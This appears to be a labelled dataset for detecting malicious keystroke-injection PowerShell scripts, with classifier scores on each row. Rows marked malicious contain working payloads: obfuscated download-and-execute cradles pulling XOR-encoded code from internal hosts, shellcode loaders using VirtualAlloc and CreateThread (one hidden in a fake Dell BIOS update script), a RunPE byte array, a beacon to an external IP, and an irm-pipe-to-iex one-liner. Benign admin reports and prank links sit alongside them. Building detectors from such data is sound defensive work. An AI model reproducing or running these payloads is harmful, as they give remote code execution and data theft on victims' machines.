"win+r powershell enter Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName Microsoft.Vi enter sualBasic Add-Type -AssemblyName Microsoft.CSharp Add-Type -AssemblyName System. enter Management Add-Type -AssemblyName System.Web [Byte[]] $RUNPE = @(31,139,8,0,0,0 enter ,0,0,4,0,237,189,7,96,28,73,150,37,38,47,109,202,123,127,74,245,74,215,224,116,1 enter 61,8,128,96,19,36,216,144,64,16,236,193,136,205,230,146,236,29,105,71,35,41,171, enter 42,129,202,101,86,101,93,102,22,64,204,237,157,188,247,222,123,239,189,247,222,1 enter 23,239,189,247,186,59,157,78,39,247,223,255,63,92,102,100,1,108,246,206,74,218,2 enter 01,158,33,128,170,200,31,63,126,124,31,63,34,214,77,177,188,72,95,95,55,109,190, enter 56,252,141,19,255,207,241,211,34,187,88,86,77,91,76,155,238,87,175,214,203,182,8 enter 8,228,227,179,101,155,215,213,234,117,94,95,22,211,188,215,236,77,254,174,181,15 enter 9,125,81,76,235,170,169,206,219,241,79,22,205,58,43,159,100,77,49,237,190,113,82 enter ,149,101,62,109,139, enter",1,1,7.403691e-05,0.999926
win+r powershell enter unknown_key_action REM Title: Get-Connected-USBs enter unknown_key_action REM Author: atomicsec enter unknown_key_action REM Source: https://github.com/atomiczsec/Get-Connected-USBs enter unknown_key_action REM Target OS: Windows 10 enter unknown_key_action REM Description: Payload gets all connected USB devices enter delay_long enter win+r enter delay_long enter powershell enter delay_short enter enter enter delay_long enter Get-PnpDevice -PresentOnly | Where-Object { $_.InstanceId -match '^USB' } | Out-File -FilePath .\USB-Connected.txt enter enter enter,1,1,5.942026e-05,0.99994063
win terminal enter enter open 'https://www.youtube.com/watch?v=dqw4w9wgxcq' enter enter osascript -e 'set volume 7' && killall terminal enter enter f,1,1,9.456464e-05,0.99990547
"win+r enter powershell enter enter enter function Remove-CHostsEntry enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true,ValueFromPipeline=$true,Position=0)] enter [string[]] enter enter $HostName, enter enter [string] enter enter $Path = (Get-CPathToHostsFile) enter ) enter enter begin enter { enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $allHostNames = New-Object 'Collections.ArrayList' enter } enter enter process enter { enter $HostName | enter ForEach-Object { [Text.RegularExpressions.Regex]::Escape( $_ ) } | enter ForEach-Object { [void] $allHostNames.Add( $_ ) } enter } enter enter end enter { enter $regex = $allHostNames -join '|' enter $regex = '^[0-9a-f.:]+\s+\b({0})\b.*$' -f $regex enter enter $cmdErrors = @() enter $newHostsFile = Read-CFile -Path $Path -ErrorVariable 'cmdErrors' | enter Where-Object { $_ -notmatch $regex } enter if( $cmdErrors ) enter { enter return enter } enter enter $entryNoun = 'entry' enter if( $HostName.Count -gt 1 ) enter { enter $entryNoun = 'entries' enter } enter enter if( $PSCmdlet.ShouldProcess( $Path, ('removing hosts {0} {1}' -f $entryNoun,($HostName -join ', ')) ) ) enter { enter $newHostsFile | Write-CFile -Path $Path enter } enter } enter } enter enter $wc=NEw-OBject SysteM.NeT.WebClienT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HEaders.ADD('User-Agent',$u);$wC.ProxY = [SYSTEM.NeT.WebReqUeSt]::DefaULtWEbPROXy;$WC.ProXy.CREdenTiaLs = [SysTem.NET.CreDENTialCaChE]::DEFaulTNeTWoRkCreDenTiAls;$K='@-KQP<Dud261\H*l[VA%wyEOJq^Zp;(h';$I=0;[CHAR[]]$B=([cHaR[]]($wc.DowNlOADStriNg(""http://192.168.3.12:8081/index.asp"")))|%{$_-bXOR$K[$I++%$k.LeNgtH]};IEX ($B-jOIN'') enter enter",1,1,5.6075078e-05,0.999944
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_w7ofyaa0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.435363e-05
"win+r powershell enter $ResourceGroupName = ""ResourceGroup01"" $SubscriptionID = ""SubscriptionID"" $Works enter paceName = ""DefaultWorkspace-"" + (Get-Random -Maximum 99999) + ""-"" + $ResourceGr enter oupName $Location = ""eastus"" $ErrorActionPreference = ""Stop"" Write-Output ""Pul enter ling Azure account credentials..."" $Account = Add-AzAccount if ([string]::IsNu enter llOrEmpty($SubscriptionID)) { enter enter",1,1,0.0008254242,0.99917454
"win+r powershell enter function Invoke-WindowsEnum{ <# .SYNOPSIS Enumerates the local host to gathe enter r information about the current user, AD and local group memberships, last 5 fil enter es opened, clipboard contents, and interesting files owned by the user. Also e enter numerates system information such as the OS version, Services, installed applica enter tions, available shares, Anti-Virus Software and current status, firewall rules, enter and when the last windows update was installed. .DESCRIPTION This script enter conducts user, system, and network enumeration using the current user context or enter with a specified user and/or keyword. .PARAMETER UserName enter enter",1,1,6.0212908e-05,0.9999398
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_3zac3ch4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4387096e-05
unknown_key_action ctrl esc cmd enter start msedge https://vimeo.com/375468729 enter f,1,1,0.0001577022,0.9998423
"win+r enter powershell enter enter enter $wc=New-ObjEct SyStem.NeT.WeBCLIENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HeadeRs.ADD('User-Agent',$u);$Wc.Proxy = [SYSTem.NEt.WeBREqueST]::DEFAuLtWEBPrOxy;$WC.PROxy.CredENTiALs = [SYStEm.NeT.CRedEntiaLCaCHE]::DeFaulTNEtWORkCrEDENTiaLs;$K='d0fb963ff976f9c37fc81fe03c21ea7b';$I=0;[Char[]]$B=([CHAR[]]($Wc.DOWnLOAdSTrinG(""http://192.168.1.120:8080/index.asp"")))|%{$_-bXor$K[$I++%$K.LEnGth]};IEX ($b-jOin'') enter enter",1,1,5.6088174e-05,0.99994385
"win+r powershell enter DUCKY_REAL_BEGIN enter REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% enter REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% enter REM %%%%%%%%%%%%% This script was created by github.com/MarkCyber %%%%%%%%%%%%%% enter REM %%%%%%%%%%%%% This script acts as a plug-in vulnerability scanner. Only use with permission %%%%%%%%%%%%%% enter REM %%%%%%%%%%%%% This will require a secondary USB named as ""MYUSB"" to save all information onto %%%%%%%%%%%%%% enter REM %%%%%%%%%%%%% This will find information on the following and save results in a results.txt file %%%%%%%%%%%%%% enter REM %%%%%%%%%%%%% Info on: password policy, audit services, network settings, softwares and versions, CVEs %%%%%%%%%%%%%% enter REM %%%%%%%%%%%%% Info on: open ports, firewall status, antivirus status, smbv1 status, missing updates & more %%%%%%%%%%%%%% enter REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% enter REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% enter DELAY 1000 enter REM Open Start Menu enter CONTROL ESCAPE enter DELAY 2000 enter STRING powershell enter REM Navigate to the context menu to run PowerShell as an administrator enter DELAY 500 enter RIGHTARROW enter DELAY 100 enter DOWNARROW enter DELAY 100 enter ENTER enter DELAY 3000 enter ALT Y enter DELAY 5000 enter REM Set PowerShell Execution Policy to Bypass enter DELAY 1000 enter STRING set-executionpolicy bypass -scope process -force enter DELAY 200 enter ENTER enter DELAY 200 enter REM Create the PowerShell script in memory and execute it enter DELAY 200 enter STRING $usbName = ""MYUSB"" enter DELAY 200 enter ENTER enter DELAY 200 enter STRING $usbDrive = Get-WmiObject Win32_Volume | Where-Object { $_.Label -eq $usbName } | Select-Object -ExpandProperty DriveLetter enter DELAY 200 enter ENTER enter DUCKY_REAL_END enter",1,1,6.169953e-05,0.99993825
"win+r powershell enter $sha1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider;$usern enter ame = ls Env:USERNAME | select -exp Value;$usernameHash = [System.BitConverter]: enter :ToString($sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($username))) - enter replace ""-"","""";$ie = New-Object -ComObject InternetExplorer.Application;$ie.Visi enter ble = $false;$ie.Silent = $true;$h = ""212.83.186.207"";$url = ""http://"" + $h;$inf enter os = $usernameHash;$brFlgs = 14;try {;$ie.Navigate2($url + ""?i="" + $infos, $brFl enter gs, 0);While ($ie.Busy -and $ie.ReadyState -ne 4) {;Start-Sleep -Milliseconds 40 enter 0;};} catch {;};$ie.Quit(); enter enter",1,1,0.00015942959,0.9998405
"win+r enter powershell enter enter enter Function Set-ConsoleTitle { enter Param ([String]$Title) enter $host.ui.RawUI.WindowTitle = $Title enter } enter enter Function Get-Architecture { enter enter Set-Variable -Name Architecture -Scope Local -Force enter enter $Architecture = Get-WmiObject -Class Win32_OperatingSystem | Select-Object OSArchitecture enter $Architecture = $Global:Architecture.OSArchitecture enter enter Return $Architecture enter Remove-Variable -Name Architecture -Scope Local -Force enter } enter enter Function Install-Updates { enter Param ([String]$DisplayName, enter [String]$Executable, enter [String]$Switches) enter Set-Variable -Name ErrCode -Scope Local -Force enter enter Write-Host ""Install""$DisplayName""....."" -NoNewline enter If ((Test-Path $Executable) -eq $true) { enter $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Switches -Wait -Passthru).ExitCode enter } else { enter $ErrCode = 1 enter } enter If (($ErrCode -eq 0) -or ($ErrCode -eq 1) -or ($ErrCode -eq 3010)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter } enter Remove-Variable -Name ErrCode -Scope Local -Force enter } enter Function CCTKSetting { enter param ($Name, enter $Option, enter $Setting, enter $Drives, enter $Architecture) enter Set-Variable -Name Argument -Scope Local -Force enter Set-Variable -Name ErrCode -Scope Local -Force enter Set-Variable -Name EXE -Scope Local -Force enter enter If ($Architecture -eq ""32-bit"") { enter $EXE = $Env:PROGRAMFILES + ""\Dell\Command Configure\X86\cctk.exe"" enter } else { enter $EXE = ${env:ProgramFiles(x86)} + ""\Dell\Command Configure\X86_64\cctk.exe"" enter } enter If ($Option -ne ""bootorder"") { enter $Argument = ""--"" + $Option + ""="" + $Setting enter } else { enter $Argument = ""bootorder"" + [char]32 + ""--"" + $Setting + ""="" + $Drives enter } enter Write-Host $Name""....."" -NoNewline enter If ((Test-Path $EXE) -eq $true) { enter $ErrCode = (Start-Process -FilePath $EXE -ArgumentList $Argument -Wait -Passthru).ExitCode enter } else { enter $ErrCode = 1 enter } enter If (($ErrCode -eq 0) -or ($ErrCode -eq 240) -or ($ErrCode -eq 241)) { enter If ($Drives -eq """") { enter Write-Host $Setting -ForegroundColor Yellow enter } else { enter Write-Host $Drives -ForegroundColor Yellow enter } enter } elseIf ($ErrCode -eq 119) { enter Write-Host ""Unavailable"" -ForegroundColor Green enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter } enter Remove-Variable -Name Argument -Scope Local -Force enter Remove-Variable -Name ErrCode -Scope Local -Force enter Remove-Variable -Name EXE -Scope Local -Force enter } enter Set-Variable -Name Architecture -Scope Local -Force enter Set-Variable -Name EXE -Scope Local -Force enter enter cls enter Set-ConsoleTitle -Title ""Dell Client Update"" enter $Architecture = Get-Architecture enter CCTKSetting -Name ""Disable BIOS Password"" -Option ""valsetuppwd"" -Setting ""<BIOS Password> --setuppwd="" -Drives """" -Architecture $Architecture enter If ($Architecture -eq ""32-bit"") { enter $EXE = $Env:PROGRAMFILES + ""\Dell\CommandUpdate\dcu-cli.exe"" enter } else { enter $EXE = ${env:ProgramFiles(x86)} + ""\Dell\CommandUpdate\dcu-cli.exe"" enter } enter Install-Updates -DisplayName ""Update All Hardware Components"" -Executable $EXE -Switches "" "" enter Remove-Variable -Name Architecture -Scope Local -Force enter Remove-Variable -Name EXE -Scope Local -Force enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x29,0xfc,0xc3,0xec,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.200689e-05,0.999948
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_8px3070e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_75.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 3."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3791774e-05
"win+r enter powershell enter enter enter Set-Variable -Name Errors -Value $null -Scope Global -Force enter Set-Variable -Name RelativePath -Scope Global -Force enter Set-Variable -Name Title -Scope Global -Force enter enter Function ConsoleTitle ($Title){ enter $host.ui.RawUI.WindowTitle = $Title enter } enter enter Function DeclareGlobalVariables { enter $Global:Title = ""Windows Management Framework 4.0"" enter } enter enter Function GetRelativePath { enter $Global:RelativePath = (split-path $SCRIPT:MyInvocation.MyCommand.Path -parent)+""\"" enter } enter enter Function InstallMSU ($ProgName,$MSU,$Switches) { enter $EXE = $Env:windir+""\system32\wusa.exe"" enter $Parameters = [char]34+$MSU+[char]34+[char]32+$Switches enter Write-Host ""Install ""$ProgName""....."" -NoNewline enter $ErrCode = (Start-Process -FilePath $EXE -ArgumentList $Parameters -Wait -Passthru).ExitCode enter If (($ErrCode -eq 0) -or ($ErrCode -eq 3010)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } elseif ($ErrCode -eq 2359302) { enter Write-Host ""Already Installed"" -ForegroundColor Green enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter $Global:Errors++ enter } enter } enter enter Function ExitPowerShell { enter If (($Global:Errors -ne $null) -and ($Global:Errors -ne 0)) { enter Exit 1 enter } enter } enter enter cls enter DeclareGlobalVariables enter GetRelativePath enter ConsoleTitle $Global:Title enter InstallMSU ""Windows Management Framework 4.0"" $Global:RelativePath""Windows6.1-KB2819745-x86-MultiPkg.msu"" ""/quiet /norestart"" enter Start-Sleep -Seconds 5 enter ExitPowerShell enter enter",0,1,0.0052972944,0.99470264
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_ookyjcf5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4304685e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_dsmzxsuf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter",0,0,0.9999664,3.3562334e-05
"win+r enter powershell enter enter enter if (Test-Path ""$env:SystemRoot\clrver.exe"") { enter $counter = 0 enter & $env:SystemRoot\clrver.exe -all 2> $null | ` enter ConvertFrom-Csv -Delimiter `t -Header ""PID"",""ProcessName"",""CLR Version"" | ` enter ForEach-Object { enter if ($counter -gt 1) { enter $_ enter } enter $counter += 1 enter } enter } else { enter Write-Error ""Clrver.exe not found in $env:SystemRoot."" enter } enter enter",0,0,0.999951,4.8957685e-05
win+r enter powershell enter enter enter win r powershell -nop -ep bypass -w h -c $dc='your_webhook_here'; irm https://t.ly/rjl5k | iex enter enter enter,1,1,0.00014929887,0.99985063
win r https://www.youtube.com/watch?v=rtul0sxoqbm enter enter f,1,1,6.7237765e-05,0.99993277
"win+r powershell enter function Get-ModuleVersion enter { enter param( enter [Parameter(Mandatory=$true)] enter [string] enter $ManifestPath enter ) enter Set-StrictMode -Version 'Latest' enter } enter $8rd = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $8rd -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0xd8,0xc2,0x53,0x8f,0xda,0xd3,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x47,0x31,0x68,0x13,0x03,0x68,0x13,0x83,0xc0,0xdc,0x20,0xa6,0x73,0x34,0x26,0x49,0x8c,0xc4,0x47,0xc3,0x69,0xf5,0x47,0xb7,0xfa,0xa5,0x77,0xb3,0xaf,0x49,0xf3,0x91,0x5b,0xda,0x71,0x3e,0x6b,0x6b,0x3f,0x18,0x42,0x6c,0x6c,0x58,0xc5,0xee,0x6f,0x8d,0x25,0xcf,0xbf,0xc0,0x24,0x08,0xdd,0x29,0x74,0xc1,0xa9,0x9c,0x69,0x66,0xe7,0x1c,0x01,0x34,0xe9,0x24,0xf6,0x8c,0x08,0x04,0xa9,0x87,0x52,0x86,0x4b,0x44,0xef,0x8f,0x53,0x89,0xca,0x46,0xef,0x79,0xa0,0x58,0x39,0xb0,0x49,0xf6,0x04,0x7d,0xb8,0x06,0x40,0xb9,0x23,0x7d,0xb8,0xba,0xde,0x86,0x7f,0xc1,0x04,0x02,0x64,0x61,0xce,0xb4,0x40,0x90,0x03,0x22,0x02,0x9e,0xe8,0x20,0x4c,0x82,0xef,0xe5,0xe6,0xbe,0x64,0x08,0x29,0x37,0x3e,0x2f,0xed,0x1c,0xe4,0x4e,0xb4,0xf8,0x4b,0x6e,0xa6,0xa3,0x34,0xca,0xac,0x49,0x20,0x67,0xef,0x05,0x85,0x4a,0x10,0xd5,0x81,0xdd,0x63,0xe7,0x0e,0x76,0xec,0x4b,0xc6,0x50,0xeb,0xac,0xfd,0x25,0x63,0x53,0xfe,0x55,0xad,0x97,0xaa,0x05,0xc5,0x3e,0xd3,0xcd,0x15,0xbf,0x06,0x7b,0x13,0x57,0xc7,0xf4,0x72,0xe1,0x7f,0x07,0x85,0xfc,0x23,0x8e,0x63,0xae,0x8b,0xc0,0x3b,0x0e,0x7c,0xa1,0xeb,0xe6,0x96,0x2e,0xd3,0x16,0x99,0xe4,0x7c,0xbc,0x76,0x51,0xd4,0x28,0xee,0xf8,0xae,0xc9,0xef,0xd6,0xca,0xc9,0x64,0xd5,0x2b,0x87,0x8c,0x90,0x3f,0x7f,0x7d,0xef,0x62,0x29,0x82,0xc5,0x09,0xd5,0x16,0xe2,0x9b,0x82,0x8e,0xe8,0xfa,0xe4,0x10,0x12,0x29,0x7f,0x98,0x86,0x92,0x17,0xe5,0x46,0x13,0xe7,0xb3,0x0c,0x13,0x8f,0x63,0x75,0x40,0xaa,0x6b,0xa0,0xf4,0x67,0xfe,0x4b,0xad,0xd4,0xa9,0x23,0x53,0x03,0x9d,0xeb,0xac,0x66,0x1f,0xd7,0x7a,0x4e,0x55,0x39,0xbf;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$kYx=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($kYx.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$kYx,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.230676e-05,0.99994767
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_6bvkat66"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_40.csv"") -NoTypeInformation enter",0,0,0.9999664,3.3675286e-05
"win+r powershell enter function Set-RsDataSourcePassword enter { enter [CmdletBinding(SupportsShouldProcess = $true, ConfirmImpact = 'Medium')] enter param ( enter [Alias('ItemPath')] enter [Parameter(Mandatory = $true, ValueFromPipeline = $true)] enter [string[]] enter $Path, enter [Parameter(Mandatory = $true)] enter [string] enter $Password, enter [string] enter $ReportServerUri, enter [Alias('ReportServerCredentials')] enter [System.Management.Automation.PSCredential] enter $Credential, enter $Proxy enter ) enter Begin enter { enter $Proxy = New-RsWebServiceProxyHelper -BoundParameters $PSBoundParameters enter } enter Process enter { enter foreach ($item in $Path) enter { enter if ($PSCmdlet.ShouldProcess($item, ""Overwrite the password"")) enter { enter try enter { enter $dataSourceContent = $Proxy.GetDataSourceContents($item) enter } enter catch enter { enter throw (New-Object System.Exception(""Failed to retrieve Datasource content: $($_.Exception.Message)"", $_.Exception)) enter } enter $dataSourceContent.Password = $Password enter Write-Verbose ""Setting password of datasource $item"" enter try enter { enter $Proxy.SetDataSourceContents($item, $dataSourceContent) enter } enter catch enter { enter throw (New-Object System.Exception(""Failed to update Datasource content: $($_.Exception.Message)"", $_.Exception)) enter } enter } enter } enter } enter } enter",0,0,0.99958366,0.00041630372
"win+r powershell enter $Wc=New-ObjEct SYSTeM.Net.WEbClIEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$WC.HEadErs.AdD('User-Agent',$u);$WC.PRoxY = [SYsT enter Em.NeT.WeBReQUeSt]::DEFaulTWebPRoXy;$WC.PROXy.CrEdeNtIalS = [SysTeM.NET.CredEntI enter alCAche]::DefaULtNEtWORKCreDentIAlS;$K='9e5cb5679e5159a5910990d490d8920a';$i=0;[ enter ChAR[]]$b=([CHar[]]($wc.DoWnLOADSTriNG(""http://192.168.164.180:8080/index.asp"")) enter )|%{$_-bXoR$k[$i++%$K.LengTh]};IEX ($b-jOIn'') enter enter",1,1,5.629443e-05,0.99994373
"win+r powershell enter  function Test-CreateServer { $rg = Create-ResourceGroupForTest $serverN enter ame = Get-ServerName $version = ""12.0"" $serverLogin = ""testusername"" $serverP enter assword = ""t357ingP@s5w0rd!"" $credentials = new-object System.Management.Automa enter tion.PSCredential($serverLogin, ($serverPassword | ConvertTo-SecureString -asPla enter inText -Force)) enter enter",1,1,0.0003043645,0.99969566
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_am2xyeu8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_75.txt"") -Encoding UTF8 enter",0,0,0.9999665,3.350963e-05
